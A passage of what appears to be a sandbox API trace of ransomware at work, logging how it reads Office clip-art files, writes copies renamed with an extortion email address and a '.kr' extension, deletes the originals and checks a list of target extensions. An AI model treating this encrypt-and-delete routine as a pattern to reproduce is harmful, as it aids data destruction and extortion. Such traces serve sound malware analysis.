SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.499] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.500] GetLastError () returned 0x0 [0204.500] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xf40, lpOverlapped=0x0) returned 1 [0204.502] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xf50, lpOverlapped=0x0) returned 1 [0204.773] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.773] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0204.773] SetEndOfFile (hFile=0x4d8) returned 1 [0204.773] CloseHandle (hObject=0x4d8) returned 1 [0204.773] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.773] SetEndOfFile (hFile=0x544) returned 1 [0204.776] CloseHandle (hObject=0x544) returned 1 [0204.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.778] lstrlenW (lpString=".doc") returned 4 [0204.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.778] lstrlenW (lpString=".docx") returned 5 [0204.778] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0204.778] lstrlenW (lpString=".pdf") returned 4 [0204.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.778] lstrlenW (lpString=".xls") returned 4 [0204.778] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.778] lstrlenW (lpString=".xlsx") returned 5 [0204.778] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0204.778] lstrlenW (lpString=".ppt") returned 4 [0204.778] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.778] lstrlenW (lpString=".zip") returned 4 [0204.778] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.778] lstrlenW (lpString=".rar") returned 4 [0204.778] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.778] lstrlenW (lpString=".bz2") returned 4 [0204.778] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.778] lstrlenW (lpString=".7z") returned 3 [0204.778] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.778] lstrlenW (lpString=".dbf") returned 4 [0204.778] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.778] lstrlenW (lpString=".1cd") returned 4 [0204.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.778] lstrlenW (lpString=".jpg") returned 4 [0204.778] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.779] lstrlenW (lpString=".doc") returned 4 [0204.779] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.779] lstrlenW (lpString=".docx") returned 5 [0204.779] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0204.779] lstrlenW (lpString=".pdf") returned 4 [0204.779] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.779] lstrlenW (lpString=".xls") returned 4 [0204.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.779] lstrlenW (lpString=".xlsx") returned 5 [0204.779] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0204.779] lstrlenW (lpString=".ppt") returned 4 [0204.779] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.779] lstrlenW (lpString=".zip") returned 4 [0204.779] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.779] lstrlenW (lpString=".rar") returned 4 [0204.779] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.779] lstrlenW (lpString=".bz2") returned 4 [0204.779] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.779] lstrlenW (lpString=".7z") returned 3 [0204.779] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.779] lstrlenW (lpString=".dbf") returned 4 [0204.779] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.779] lstrlenW (lpString=".1cd") returned 4 [0204.779] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0204.779] lstrlenW (lpString=".jpg") returned 4 [0204.779] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.780] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.780] lstrlenW (lpString="J0101862.BMP") returned 12 [0204.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.780] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=32184) returned 1 [0204.780] CloseHandle (hObject=0x544) returned 1 [0204.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0204.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.781] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.781] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.782] GetLastError () returned 0x0 [0204.782] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x7db8, lpOverlapped=0x0) returned 1 [0204.784] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0204.786] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.786] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0204.786] SetEndOfFile (hFile=0x4d8) returned 1 [0204.786] CloseHandle (hObject=0x4d8) returned 1 [0204.786] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.786] SetEndOfFile (hFile=0x544) returned 1 [0204.789] CloseHandle (hObject=0x544) returned 1 [0204.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0204.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.790] lstrlenW (lpString=".doc") returned 4 [0204.790] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.790] lstrlenW (lpString=".docx") returned 5 [0204.790] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0204.790] lstrlenW (lpString=".pdf") returned 4 [0204.790] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.790] lstrlenW (lpString=".xls") returned 4 [0204.790] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString=".xlsx") returned 5 [0204.791] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0204.791] lstrlenW (lpString=".ppt") returned 4 [0204.791] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.791] lstrlenW (lpString=".zip") returned 4 [0204.791] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString=".rar") returned 4 [0204.791] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString=".bz2") returned 4 [0204.791] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString=".7z") returned 3 [0204.791] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.791] lstrlenW (lpString=".dbf") returned 4 [0204.791] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.791] lstrlenW (lpString=".1cd") returned 4 [0204.791] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.791] lstrlenW (lpString=".jpg") returned 4 [0204.791] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.791] lstrlenW (lpString=".doc") returned 4 [0204.791] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString=".docx") returned 5 [0204.791] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0204.791] lstrlenW (lpString=".pdf") returned 4 [0204.791] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString=".xls") returned 4 [0204.791] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.791] lstrlenW (lpString=".xlsx") returned 5 [0204.792] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0204.792] lstrlenW (lpString=".ppt") returned 4 [0204.792] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.792] lstrlenW (lpString=".zip") returned 4 [0204.792] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.792] lstrlenW (lpString=".rar") returned 4 [0204.792] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.792] lstrlenW (lpString=".bz2") returned 4 [0204.792] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.792] lstrlenW (lpString=".7z") returned 3 [0204.792] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.792] lstrlenW (lpString=".dbf") returned 4 [0204.792] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.792] lstrlenW (lpString=".1cd") returned 4 [0204.792] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0204.792] lstrlenW (lpString=".jpg") returned 4 [0204.792] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.792] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.792] lstrlenW (lpString="J0101863.BMP") returned 12 [0204.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.793] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=32184) returned 1 [0204.793] CloseHandle (hObject=0x544) returned 1 [0204.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0204.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.794] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.794] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.795] GetLastError () returned 0x0 [0204.795] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x7db8, lpOverlapped=0x0) returned 1 [0204.797] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0204.798] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.799] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0204.799] SetEndOfFile (hFile=0x4d8) returned 1 [0204.799] CloseHandle (hObject=0x4d8) returned 1 [0204.799] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.799] SetEndOfFile (hFile=0x544) returned 1 [0204.802] CloseHandle (hObject=0x544) returned 1 [0204.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0204.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.803] lstrlenW (lpString=".doc") returned 4 [0204.803] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.803] lstrlenW (lpString=".docx") returned 5 [0204.803] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0204.803] lstrlenW (lpString=".pdf") returned 4 [0204.803] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.803] lstrlenW (lpString=".xls") returned 4 [0204.803] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.803] lstrlenW (lpString=".xlsx") returned 5 [0204.803] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0204.803] lstrlenW (lpString=".ppt") returned 4 [0204.803] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.803] lstrlenW (lpString=".zip") returned 4 [0204.803] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.803] lstrlenW (lpString=".rar") returned 4 [0204.804] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.804] lstrlenW (lpString=".bz2") returned 4 [0204.804] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.804] lstrlenW (lpString=".7z") returned 3 [0204.804] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.804] lstrlenW (lpString=".dbf") returned 4 [0204.804] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.804] lstrlenW (lpString=".1cd") returned 4 [0204.804] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.804] lstrlenW (lpString=".jpg") returned 4 [0204.804] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.804] lstrlenW (lpString=".doc") returned 4 [0204.804] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.804] lstrlenW (lpString=".docx") returned 5 [0204.804] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0204.804] lstrlenW (lpString=".pdf") returned 4 [0204.804] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.804] lstrlenW (lpString=".xls") returned 4 [0204.804] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.804] lstrlenW (lpString=".xlsx") returned 5 [0204.804] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0204.804] lstrlenW (lpString=".ppt") returned 4 [0204.804] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.804] lstrlenW (lpString=".zip") returned 4 [0204.804] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.804] lstrlenW (lpString=".rar") returned 4 [0204.805] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.805] lstrlenW (lpString=".bz2") returned 4 [0204.805] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.805] lstrlenW (lpString=".7z") returned 3 [0204.805] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.805] lstrlenW (lpString=".dbf") returned 4 [0204.805] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.805] lstrlenW (lpString=".1cd") returned 4 [0204.805] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0204.805] lstrlenW (lpString=".jpg") returned 4 [0204.805] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.805] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.805] lstrlenW (lpString="J0101864.BMP") returned 12 [0204.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.806] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=31968) returned 1 [0204.806] CloseHandle (hObject=0x544) returned 1 [0204.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0204.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.806] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.806] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft 